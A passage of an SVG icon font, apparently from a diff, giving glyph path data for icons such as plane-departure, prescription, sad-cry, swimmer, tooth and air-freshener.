8.83984 7.16016 16 16 16h608zM44.8096 242.34c-6.5498 5.91016 -12.3896 14.3398 -12.5791 23.25l-0.230469 101.78 +c0.19043 10.8799 10.3799 18.7002 20.7197 15.8799l39.7305 -10.8301c5.00977 -1.36035 9.08984 -5.04004 11.0195 -9.92969l27.5898 -67.8799l102.2 -27.8408l-47.9199 164.211c-0.189453 11.1191 10.1504 19.3193 20.71 16.4395l65.0898 -17.7295 +c5.70996 -1.56055 10.1504 -6.10059 11.6602 -11.9102l100.36 -191.851l97.5098 -26.5596c26.4805 -7.20996 51.5498 -20.1797 70.8301 -40c21.6396 -22.25 27.2002 -40.46 23.3701 -54.96c-3.81055 -14.5 -17.5801 -27.4404 -47.25 -35.71 +c-26.4404 -7.36035 -54.5205 -5.85059 -81 1.35938l-287.601 78.3506c-9.58496 2.61621 -18.2998 7.45605 -25.4697 13.9297z" /> + <glyph glyph-name="plane-departure" unicode="" horiz-adv-x="640" +d="M624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-608c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h608zM80.5498 106.73l-76.21 82.9697c-7.62012 8.95996 -4.87012 22.7803 5.57031 28.0801l40.1299 20.3701 +c2.41504 1.22461 5.18066 1.91504 8.07227 1.91504c2.875 0 5.59277 -0.682617 7.99805 -1.89551l72.3496 -36.4697l103.21 52.3799l-156.22 98.0996c-8.08008 8.87988 -5.5 23.1201 5.16992 28.5303l65.75 33.3701c2.41504 1.22559 5.18164 1.91699 8.07324 1.91699 +c3.67383 0 7.08984 -1.11621 9.92676 -3.02734l218.7 -82.0596l98.5098 49.9902c26.7402 13.5596 56.4297 21.4199 86.2803 19.4795c33.5098 -2.17969 51.04 -12.8799 58.25 -27.4502c7.22949 -14.5596 5.23926 -35.1699 -13.0703 -63.6494 +c-16.3096 -25.3701 -40.2803 -44.7402 -67.0205 -58.3105l-290.96 -147.649c-8.88574 -4.51562 -19.001 -7.10645 -29.6396 -7.12012l-130.54 -0.180664c-9.22949 -0.00976562 -18.0498 3.87012 -24.3301 10.7109z" /> + <glyph glyph-name="prescription" unicode="" horiz-adv-x="384" +d="M301.26 96l78.0605 -78.0498c6.25 -6.25 6.25 -16.3799 0 -22.6299l-22.6299 -22.6299c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-78.0596 78.0596l-78.0498 -78.0703c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-22.6299 22.6299c-6.25 6.25 -6.25 16.3809 0 22.6309 +l78.0596 78.0596l-128 128h-18.75v-80c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v256c0 8.83984 7.16016 16 16 16h144c53.0195 0 96 -42.9805 96 -96c0 -48.8896 -36.6904 -88.7998 -83.96 -94.7803l83.96 -83.96l78.0596 78.0605 +c6.25 6.25 16.3809 6.25 22.6309 0l22.6299 -22.6299c6.25 -6.25 6.25 -16.3809 0 -22.6309zM64 352v-64h96c17.6396 0 32 14.3604 32 32s-14.3604 32 -32 32h-96z" /> + <glyph glyph-name="sad-cry" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248c0 -90 -48.2002 -168.7 -120 -212.1v180.1c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16v-196.7c-29.5 -12.3994 -62 -19.2998 -96 -19.2998s-66.5 6.90039 -96 19.2998v196.7c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16 +v-180.1c-71.7998 43.3994 -120 122 -120 212.1c0 137 111 248 248 248zM182.5 223.5l9.7002 -8.5c2.5 -2.2998 7.89941 -4.7002 13.7002 -1.59961c4.39941 2.39941 6.89941 7.39941 6.09961 12.3994c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006 +c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006c-0.799805 -5 1.7002 -10 6.09961 -12.3994c4.40039 -2.40039 9.90039 -1.7002 13.7002 1.59961l9.5 8.5c14.7998 13.2002 46.2002 13.2002 61 0zM248 32c26.5 0 48 28.7002 48 64s-21.5 64 -48 64s-48 -28.7002 -48 -64 +s21.5 -64 48 -64zM397.8 213.5c4.40039 2.40039 6.7998 7.40039 6.2002 12.2998c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006c-0.799805 -5 1.7002 -10 6.09961 -12.3994 +c4.40039 -2.40039 9.90039 -1.7002 13.7002 1.59961l9.59961 8.59961c14.8008 13.2002 46.2002 13.2002 61 0l9.5 -8.5c2.5 -2.2998 7.90039 -4.69922 13.7002 -1.59961z" /> + <glyph glyph-name="sad-tear" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM152 32c26.5 0 48 21 48 47c0 20 -28.5 60.4004 -41.5996 77.7998 +c-3.2002 4.2998 -9.60059 4.2998 -12.8008 0c-13.0996 -17.3994 -41.5996 -57.7998 -41.5996 -77.7998c0 -26 21.5 -47 48 -47zM168 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM338.2 53.7998 +c13.2998 -16.0996 38.2998 4 24.5 20.4004c-28.4004 34.2002 -70.2998 53.7998 -114.7 53.7998c-21.2002 0 -21.2002 -32 0 -32c34.9004 0 67.7998 -15.4004 90.2002 -42.2002z" /> + <glyph glyph-name="shuttle-van" unicode="" horiz-adv-x="640" +d="M628.88 237.35c7.17969 -8.62988 11.1201 -19.5 11.1201 -30.7295v-110.62c0 -17.6699 -14.3301 -32 -32 -32h-32c0 -53.0195 -42.9805 -96 -96 -96s-96 42.9805 -96 96h-128c0 -53.0195 -42.9805 -96 -96 -96s-96 42.9805 -96 96h-32c-17.6699 0 -32 14.3301 -32 32v288 +c0 17.6699 14.3301 32 32 32h425.52c14.8184 -0.00292969 28.0625 -6.70312 36.8701 -17.2695zM64 256h96v96h-96v-96zM160 16c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM320 256v96h-96v-96h96zM480 16 +c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM384 256h146.02l-80 96h-66.0195v-96z" /> + <glyph glyph-name="signature" unicode="" horiz-adv-x="640" +d="M623.2 256c9.09961 0.599609 16.7998 -7.09961 16.5996 -16.2002v-32.0996c0 -8.5 -6.7002 -15.1006 -15.2002 -15.7998c-39.3994 -3.2002 -105.399 -51 -138.399 -65.8008c-34.2998 -15.3994 -66.7002 -30 -102.3 -30c-28.2002 0 -50.2002 8.5 -65.5 25.3008 +c-22.7002 24.8994 -22.8008 55.2998 -20.6006 83.7998c-56.5 -45.1006 -169 -153.601 -211.2 -195.8c-6.09961 -6.2002 -14.2998 -9.40039 -22.5996 -9.40039c-27 0 -36.5 27 -29.7002 43.9004l98.2002 245.6c8 19.9004 -14.2998 38.7998 -32.7002 27.0996l-58 -38.8994 +c-7.5 -4.7998 -17.3994 -2.60059 -22.0996 4.89941l-17.2002 27c-4.7002 7.5 -2.5 17.4004 4.90039 22.1006l54.8994 36.8994c76.5 48.7002 160.101 -26.8994 129.7 -102.8l-41.5 -103.7c105.2 101.2 144.4 124.5 169.5 126 +c54.4004 3.10059 43.7998 -68.0996 42.7002 -76.0996c-4.7002 -35.7002 -1.2998 -51.9004 21.2998 -51.9004c21.9004 0 47 11.3008 76.0996 24.4004c37.4004 16.7998 111.301 68 163.101 71.5z" /> + <glyph glyph-name="smile-beam" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM112 224.6c-0.700195 -8.5 10.7998 -11.8994 15.0996 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17 +c4.10059 -7.39941 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004s-52.7002 -29.2998 -56 -71.4004zM362.8 101.8c13.5 16.2002 -11 36.7002 -24.5996 20.5c-22.4004 -26.7998 -55.2002 -42.2002 -90.2002 -42.2002 +s-67.7998 15.3008 -90.2002 42.2002c-13.5996 16.2002 -38.0996 -4.2002 -24.5996 -20.5c28.5 -34.2002 70.2998 -53.7998 114.8 -53.7998s86.2998 19.5996 114.8 53.7998zM369 220.1c4.09961 -7.39941 15.7002 -4.09961 15.0996 4.5 +c-3.2998 42.1006 -32.1992 71.4004 -56 71.4004c-23.7998 0 -52.6992 -29.2998 -56 -71.4004c-0.699219 -8.5 10.8008 -11.7998 14.9004 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006s23.7998 -7.90039 31.5 -21.6006z" /> + <glyph glyph-name="solar-panel" unicode="" horiz-adv-x="640" +d="M431.98 -0.00976562c8.84961 0.00976562 16.0293 -7.16992 16.0195 -16.0205l-0.0400391 -31.7295c-0.00976562 -8.82031 -7.16016 -15.9707 -15.9795 -15.9805l-223.961 -0.259766c-8.84961 -0.00976562 -16.0293 7.16992 -16.0195 16.0195l0.0498047 31.7305 +c0.00976562 8.83008 7.16016 15.9805 15.9805 15.9902l47.9795 0.0498047v32.21h128v-32.0596zM585.2 421.26c58.1094 -342.42 54.7803 -321.39 54.7598 -325.47c-0.0800781 -17.2305 -14.3604 -31.79 -32.5898 -31.79h-574.74c-18.3096 0 -32.6299 14.6797 -32.5996 32 +c0.00976562 3.91992 -3.35059 -17.1602 54.7598 325.26c2.62012 15.4307 16.21 26.7402 32.1396 26.7402h466.13c15.9307 0 29.5205 -11.3096 32.1406 -26.7402zM259.83 384l-9.77051 -96h139.87l-9.76953 96h-120.33zM184.66 128l11.4102 112h-105.971l-19.0098 -112 +h113.57zM200.95 288l9.76953 96h-96.1895l-16.29 -96h102.71zM233.77 128h172.45l-11.3994 112h-149.65zM429.27 384l9.77051 -96h102.71l-16.29 96h-96.1904zM455.33 128h113.58l-19.0098 112h-105.971z" /> + <glyph glyph-name="spa" unicode="" horiz-adv-x="576" +d="M568.25 256c4.41016 0.0195312 7.79004 -3.40039 7.75 -7.82031c-0.230469 -27.9199 -7.12988 -126.13 -88.7695 -199.3c-84.04 -81.8301 -167.23 -80.8799 -199.23 -80.8799s-115.21 -0.94043 -199.23 80.8799c-81.6299 73.1602 -88.5391 171.38 -88.7695 199.3 +c-0.0400391 4.41992 3.33984 7.83984 7.75 7.82031c29.04 -0.129883 135.01 -6.16016 213.84 -83c33.1201 -29.6299 53.3604 -63.2998 66.4102 -94.8604c13.0498 31.5605 33.29 65.2305 66.4102 94.8604c78.8301 76.8398 184.8 82.8701 213.84 83zM287.98 145.4 +c-12.9727 19.0527 -27.9248 36.124 -45.04 51.46c-18.7207 18.25 -38.8506 32.6895 -59.2207 44.3896c16.4707 70.4404 51.75 132.93 96.7402 172.07c4.12012 3.58008 11.0303 3.58008 15.1396 0c45.0107 -39.1699 80.29 -101.721 96.7305 -172.221 +c-20.6797 -11.8799 -41.1699 -26.5693 -60.2598 -45.1797c-16.4902 -14.7402 -31.2705 -31.6699 -44.0898 -50.5195z" /> + <glyph glyph-name="splotch" unicode="" +d="M472.29 252.11c48.54 -16.6201 53.8301 -73.8301 8.9502 -96.79l-62 -31.7402c-17.8301 -9.12988 -29.2803 -25.2002 -30.6299 -42.9902l-4.7002 -61.8594c-3.41016 -44.79 -65.1299 -66.7803 -104.45 -37.2207l-54.3203 40.8301 +c-15.6201 11.7305 -36.96 16.1201 -57.0693 11.7305l-69.96 -15.2803c-50.6504 -11.0596 -94.0801 32.5596 -73.4902 73.8096l28.4297 56.9805c8.18066 16.3799 6.44043 35.1699 -4.63965 50.2402l-38.54 52.4199c-27.9004 37.9502 6.97949 86.8994 59.0303 82.8301 +l71.8799 -5.62012c20.6602 -1.62012 40.9395 5.59961 54.2002 19.3096l46.1396 47.6699c33.4102 34.5107 98.3994 21.1504 109.979 -22.6201l15.9902 -60.4492c4.60059 -17.3799 18.8604 -31.7002 38.1406 -38.3008z" /> + <glyph glyph-name="spray-can" unicode="" +d="M224 416v-96h-128v96c0 17.6699 14.3301 32 32 32h64c17.6699 0 32 -14.3301 32 -32zM480 320c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32zM224 288c53.0195 0 96 -42.9805 96 -96v-224c0 -17.6699 -14.3301 -32 -32 -32 +h-256c-17.6699 0 -32 14.3301 -32 32v224c0 53.0195 42.9805 96 96 96h128zM160 32c44.1797 0 80 35.8203 80 80s-35.8203 80 -80 80s-80 -35.8203 -80 -80s35.8203 -80 80 -80zM480 352c-17.6699 0 -32 14.3301 -32 32s14.3301 32 32 32s32 -14.3301 32 -32 +s-14.3301 -32 -32 -32zM384 320c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32zM288 416c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32zM384 416c17.6699 0 32 -14.3301 32 -32 +s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32zM480 224c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32z" /> + <glyph glyph-name="stamp" unicode="" +d="M32 -64v64h448v-64h-448zM416 192c53.0195 0 96 -42.9805 96 -96v-32c0 -17.6699 -14.3301 -32 -32 -32h-448c-17.6699 0 -32 14.3301 -32 32v32c0 53.0195 42.9805 96 96 96h66.5596c16.2607 0 29.4404 13.1797 29.4404 29.4404v0.0693359 +c0 31.79 -9.98047 62.0605 -23.3096 90.9102c-5.57031 12.04 -8.69043 25.4199 -8.69043 39.5801c0 58.6699 52.6201 105.04 113.25 94.4902c38.79 -6.75 70.4902 -38.6699 77.2598 -77.4502c3.85059 -22.0303 0.0605469 -42.8096 -9.0498 -60.4199 +c-12.5801 -24.3105 -21.46 -50.3506 -21.46 -77.7197v-9.45996c0 -16.2607 13.1797 -29.4404 29.4404 -29.4404h66.5596z" /> + <glyph glyph-name="star-half-alt" unicode="" horiz-adv-x="536" +d="M508.55 276.49c26.25 -3.7998 36.7705 -36.1006 17.7305 -54.6006l-105.91 -102.979l25.0303 -145.49c3.55957 -20.79 -13.0605 -37.4004 -31.6602 -37.4004c-4.91016 0 -9.9707 1.16016 -14.8301 3.71094l-130.94 68.6992l-130.95 -68.6797 +c-4.86914 -2.58008 -9.93945 -3.75 -14.8691 -3.75c-18.5801 0 -35.1699 16.6699 -31.6104 37.4502l25.0596 145.479l-105.89 103c-19.0303 18.5 -8.50977 50.79 17.7402 54.5898l146.38 21.29l65.4297 132.381c5.90039 11.9092 17.29 17.8096 28.6904 17.8096 +c11.4697 0 22.9395 -5.98047 28.8193 -17.8096l65.4102 -132.391zM386.81 153.29l82.6504 80.3799l-114.229 16.6299l-25.0107 3.64062l-11.1797 22.6299l-51.0303 103.29l-0.0292969 -317.19l22.3799 -11.7402l102.13 -53.5898l-19.5205 113.45l-4.2793 24.8799z" /> + <glyph glyph-name="suitcase-rolling" unicode="" horiz-adv-x="384" +d="M336 288c26.5098 0 48 -21.4902 48 -48v-224c0 -26.5098 -21.4902 -48 -48 -48h-16v-16c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v16h-128v-16c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v16h-16 +c-26.5098 0 -48 21.4902 -48 48v224c0 26.5098 21.4902 48 48 48h288zM320 72v16c0 4.41992 -3.58008 8 -8 8h-240c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h240c4.41992 0 8 3.58008 8 8zM320 168v16c0 4.41992 -3.58008 8 -8 8h-240 +c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h240c4.41992 0 8 3.58008 8 8zM144 400v-80h-48v80c0 26.5098 21.4902 48 48 48h96c26.5098 0 48 -21.4902 48 -48v-80h-48v80h-96z" /> + <glyph glyph-name="surprise" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM136 240c0 -17.7002 14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32zM248 32c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64 +s-64 -28.7002 -64 -64s28.7002 -64 64 -64zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" /> + <glyph glyph-name="swatchbook" unicode="" +d="M434.66 280.29c5.77344 -5.79004 9.34473 -13.7861 9.34473 -22.5996c0 -8.81445 -3.57129 -16.8008 -9.34473 -22.5908l-210.66 -211.1v271.12l75.4297 75.5195l0.0703125 0.0703125v0c5.75781 5.73633 13.707 9.28516 22.4688 9.28516 +c8.79883 0 16.7676 -3.57715 22.5312 -9.35547l90.1602 -90.3496v0zM480 128c17.6611 0 32 -14.3389 32 -32v-128c0 -17.6611 -14.3389 -32 -32 -32h-300c2.17969 1.91016 4.62012 3.41992 6.67969 5.49023l186.41 186.51h106.91zM192 416v-384 +c0 -52.9834 -43.0166 -96 -96 -96s-96 43.0166 -96 96v384c0 17.6611 14.3389 32 32 32h128c17.6611 0 32 -14.3389 32 -32zM96 8c13.2461 0 24 10.7539 24 24s-10.7539 24 -24 24s-24 -10.7539 -24 -24s10.7539 -24 24 -24zM128 192v64h-64v-64h64zM128 320v64h-64v-64h64z +" /> + <glyph glyph-name="swimmer" unicode="" horiz-adv-x="640" +d="M189.61 137.42c-5.04004 4.65039 -10.3906 8.34961 -15.8604 11.5801l68.6299 98.04c7.36035 10.5 16.3398 19.5498 26.7197 26.9404l80.0205 57.1699c25.54 18.2598 57.8301 24.96 88.5596 18.3799l100.351 -21.5303c25.9297 -5.55957 42.4297 -31.0801 36.8799 -57 +c-5.56055 -25.9102 -31.0898 -42.4102 -57 -36.8799l-100.351 21.5303c-4.33984 0.90918 -8.97949 -0.0302734 -12.6191 -2.61035l-18 -12.8604l112.84 -80.5996c-17.5107 -1.04004 -34.5303 -8.4502 -49.3906 -22.1602 +c-3.5293 -3.25977 -15.2695 -9.41992 -34.3896 -9.41992s-30.8496 6.16016 -34.3896 9.41992c-16.0107 14.7705 -34.5 22.5801 -53.46 22.5801h-16.3008c-18.96 0 -37.4395 -7.80957 -53.46 -22.5801c-3.5293 -3.25977 -15.2695 -9.41992 -34.3896 -9.41992 +s-30.8496 6.16016 -34.3896 9.41992zM624 96c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-16c-38.6201 0 -72.7197 12.1797 -96 31.8398c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398s-72.7197 12.1797 -96 31.8398 +c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398s-72.7197 12.1797 -96 31.8398c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398h-16c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h16c26.04 0 45.7998 8.41992 56.0703 17.9004 +c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998c12.1104 0 22.8701 -5.88965 31.7705 -14.0996c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004s45.7998 8.41992 56.0703 17.9004c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998 +c12.1104 0 22.8701 -5.88965 31.7705 -14.0996c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004s45.7998 8.41992 56.0703 17.9004c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998c12.1104 0 22.8701 -5.88965 31.7705 -14.0996 +c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004h16zM112 192c-44.1797 0 -80 35.8203 -80 80s35.8203 80 80 80s80 -35.8203 80 -80s-35.8203 -80 -80 -80z" /> + <glyph glyph-name="swimming-pool" unicode="" horiz-adv-x="640" +d="M624 32c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-16c-38.6201 0 -72.7197 12.1797 -96 31.8398c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398s-72.7197 12.1797 -96 31.8398c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398 +s-72.7197 12.1797 -96 31.8398c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398h-16c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h16c26.04 0 45.7998 8.41992 56.0703 17.9004c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998 +c12.1104 0 22.8701 -5.88965 31.7705 -14.0996c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004s45.7998 8.41992 56.0703 17.9004c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998c12.1104 0 22.8701 -5.88965 31.7705 -14.0996 +c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004s45.7998 8.41992 56.0703 17.9004c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998c12.1104 0 22.8701 -5.88965 31.7705 -14.0996c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004h16zM224 64 +c-19.1201 0 -30.8604 6.16016 -34.3896 9.42969c-9.16992 8.4502 -19.2002 14.3398 -29.6104 18.0703v228.5c0 52.9404 43.0596 96 96 96s96 -43.0596 96 -96v-16c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v16c0 17.6396 -14.3604 32 -32 32 +s-32 -14.3604 -32 -32v-96h192v96c0 52.9404 43.0596 96 96 96s96 -43.0596 96 -96v-16c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v16c0 17.6396 -14.3604 32 -32 32s-32 -14.3604 -32 -32v-228.51 +c-10.4102 -3.73047 -20.4404 -9.61035 -29.6104 -18.0703c-3.5293 -3.25977 -15.2695 -9.41992 -34.3896 -9.41992v96h-192v-96z" /> + <glyph glyph-name="tint-slash" unicode="" horiz-adv-x="640" +d="M633.82 -10.0996c6.97949 -5.43066 8.22949 -15.4805 2.81934 -22.4502l-19.6396 -25.2705c-5.42969 -6.97949 -15.4805 -8.23926 -22.46 -2.80957l-588.36 454.729c-6.97949 5.43066 -8.22949 15.4805 -2.80957 22.4502l19.6396 25.2705 +c5.41992 6.97949 15.4805 8.22949 22.46 2.80957l186.82 -144.399c21.6201 33.7197 42.9697 73.3398 58.4902 125.68c9 30.1201 50.5 28.7803 58.4395 0c46.9902 -158.48 146.78 -200.061 146.78 -311.82c0 -5.70996 -0.509766 -11.2998 -1.03027 -16.8701zM144 114.09 +c0 29.7803 7.30957 54.6299 18.7197 78.1299l273.681 -211.52c-31.0303 -27.7402 -71.6904 -44.7002 -116.4 -44.7002c-97.2803 0 -176 79.6504 -176 178.09z" /> + <glyph glyph-name="tired" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM281.8 250.3c-7.7002 -4.7002 -7.7002 -15.8994 0 -20.5996l80 -48c11.5 -6.7998 24.1006 7.59961 15.4004 18l-33.6006 40.2998l33.6006 40.2998 +c8.59961 10.2998 -3.7998 24.9004 -15.4004 18zM118.8 280.3l33.6006 -40.2998l-33.6006 -40.2998c-8.59961 -10.4004 3.90039 -24.7998 15.4004 -18l80 48c7.7998 4.7002 7.7998 15.8994 0 20.5996l-80 48c-11.6006 6.90039 -24 -7.7002 -15.4004 -18zM248 160 +c-51.9004 0 -115.3 -43.7998 -123.2 -106.7c-1.7002 -13.3994 7.90039 -24.5996 17.7002 -20.3994c25.9004 11.0996 64.4004 17.3994 105.5 17.3994s79.5996 -6.2998 105.5 -17.3994c9.7002 -4.2002 19.4004 6.7998 17.7002 20.3994 +c-7.90039 62.9004 -71.2998 106.7 -123.2 106.7z" /> + <glyph glyph-name="tooth" unicode="" horiz-adv-x="448" +d="M443.98 351.75c10.1299 -41.6299 0.419922 -80.8203 -21.5303 -110.43c-23.3604 -31.5703 -32.6807 -68.6504 -36.29 -107.351c-4.41016 -47.1602 -10.3301 -94.1699 -20.9404 -140.319l-7.7998 -33.9502c-3.18945 -13.8701 -15.4902 -23.7002 -29.6699 -23.7002 +c-13.9697 0 -26.1504 9.5498 -29.54 23.1602l-34.4697 138.42c-4.56055 18.3096 -20.96 31.1602 -39.7598 31.1602c-18.8008 0 -35.2002 -12.8398 -39.7607 -31.1602l-34.4697 -138.42c-3.38965 -13.6104 -15.5703 -23.1602 -29.54 -23.1602 +c-14.1797 0 -26.4795 9.83008 -29.6699 23.7002l-7.7998 33.9502c-10.6104 46.1592 -16.54 93.1592 -20.9404 140.319c-3.60938 38.6904 -12.9297 75.7803 -36.29 107.351c-21.9199 29.6201 -31.6299 68.8096 -21.5 110.43c11.0098 45.2197 47.1104 82.0498 92.0098 93.7197 +c23.4307 6.08984 46.1104 0.540039 66.8105 -10.3096l100.51 -64.6201c7.83984 -5.05957 17.6504 -2.15039 22.1104 4.7998c4.78027 7.44043 2.62012 17.3398 -4.7998 22.1104l-28.3203 18.21c3.54004 1.75 7.25 3.08984 10.5 5.47949 +c26.1396 19.2305 56.9502 32.6904 89.1396 24.3301c44.9004 -11.6602 81 -48.5 92.0107 -93.7197z" /> + <glyph glyph-name="umbrella-beach" unicode="" horiz-adv-x="640" +d="M115.38 311.1c-10.0801 3.66992 -14.1104 16.3203 -7.41992 24.7207c59.75 74.8398 152.65 116.689 248.53 111.8c-52.79 -29.4102 -103.811 -92.1602 -139 -173.7zM247.63 262.94c44.4902 101.979 114.74 171.14 172.76 171.149c7.95996 0 15.6904 -1.2998 23.0908 -4 +c61.3291 -22.3203 78.3896 -132.6 42.6299 -253.979zM521.48 387.5c76.5293 -57.9199 120.76 -149.67 118.439 -245.36c-0.259766 -10.7393 -11.4795 -17.8398 -21.5703 -14.1699l-102.619 37.3604c17.5293 58.75 24.6895 117.09 18.9492 166.979 +c-2.37012 20.5908 -6.97949 38.8906 -13.1992 55.1904zM560 0.0195312c8.83984 0 16 -7.15918 16 -16v-32.0098c0 -8.83984 -7.16016 -16.0098 -16 -16.0098h-544c-8.83984 0 -16 7.16992 -16 16.0098v32.0098c0 8.85059 7.16016 16.0107 16 16.0107h236.96l72.9004 200.37 +l60.1396 -21.9004l-64.9404 -178.48h238.94z" /> + <glyph glyph-name="vector-square" unicode="" +d="M512 320c0 -17.6699 -14.3301 -32 -32 -32v-192c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32h-192c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32v192 +c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96c17.6699 0 32 -14.3301 32 -32h192c0 17.6699 14.3301 32 32 32h96c17.6699 0 32 -14.3301 32 -32v-96zM416 384v-32h32v32h-32zM64 384v-32h32v32h-32zM96 0v32h-32v-32h32zM448 0v32h-32v-32h32zM416 96 +v192h-32c-17.6699 0 -32 14.3301 -32 32v32h-192v-32c0 -17.6699 -14.3301 -32 -32 -32h-32v-192h32c17.6699 0 32 -14.3301 32 -32v-32h192v32c0 17.6699 14.3301 32 32 32h32z" /> + <glyph glyph-name="weight-hanging" unicode="" +d="M510.28 2.13965c8.33008 -33.3096 -14.6602 -66.1396 -46.2998 -66.1396h-415.95c-31.6504 0 -54.6406 32.8301 -46.3105 66.1396l73.0498 292.13c3.79004 15.1807 16.4404 25.7207 30.8701 25.7207h60.25c-3.58008 10.0498 -5.87988 20.7197 -5.87988 32 +c0 53.0195 42.9805 96 96 96c53.0205 0 96 -42.9805 96 -96c0 -11.2803 -2.30957 -21.9502 -5.87988 -32h60.25c14.4297 0 27.0703 -10.5303 30.8701 -25.7207zM256 320c17.6396 0 32 14.3604 32 32s-14.3604 32 -32 32s-32 -14.3604 -32 -32s14.3604 -32 32 -32z" /> + <glyph glyph-name="wine-glass-alt" unicode="" horiz-adv-x="288" +d="M216 -16c22.0898 0 40 -17.9102 40 -40c0 -4.41992 -3.58008 -8 -8 -8h-208c-4.41992 0 -8 3.58008 -8 8c0 22.0898 17.9102 40 40 40h40v117.18c-68.4697 15.8906 -118.05 79.9102 -111.4 154.16l15.96 178.11c0.730469 8.24023 7.55078 14.5498 15.7002 14.5498h223.48 +c8.16016 0 14.9697 -6.30957 15.71 -14.5498l15.9502 -178.101c6.64941 -74.25 -42.9307 -138.27 -111.4 -154.159v-117.19h40zM61.75 400l-7.16992 -80h178.84l-7.16992 80h-164.5z" /> + <glyph glyph-name="air-freshener" unicode="" +d="M224 288c53 0 96 -43 96 -96v-224c0 -17.625 -14.375 -32 -32 -32h-256c-17.625 0 -32 14.375 -32 32v224c0 53 43 96 96 96h128zM160 32c44.125 0 80 35.875 80 80s-35.875 80 -80 80s-80 -35.875 -80 -80s35.875 -80 80 -80zM224 416v-96h-128v96 +c0 17.625 14.375 32 32 32h64c17.625 0 32 -14.375 32 -32zM381.781 396.422l-29.7812 -12.4219l-12.4385 -29.7812c-0.592773 -1.21875 -2.18652 -2.21875 -3.56152 -2.21875s-2.96875 1 -3.59375 2.21875l-12.4062 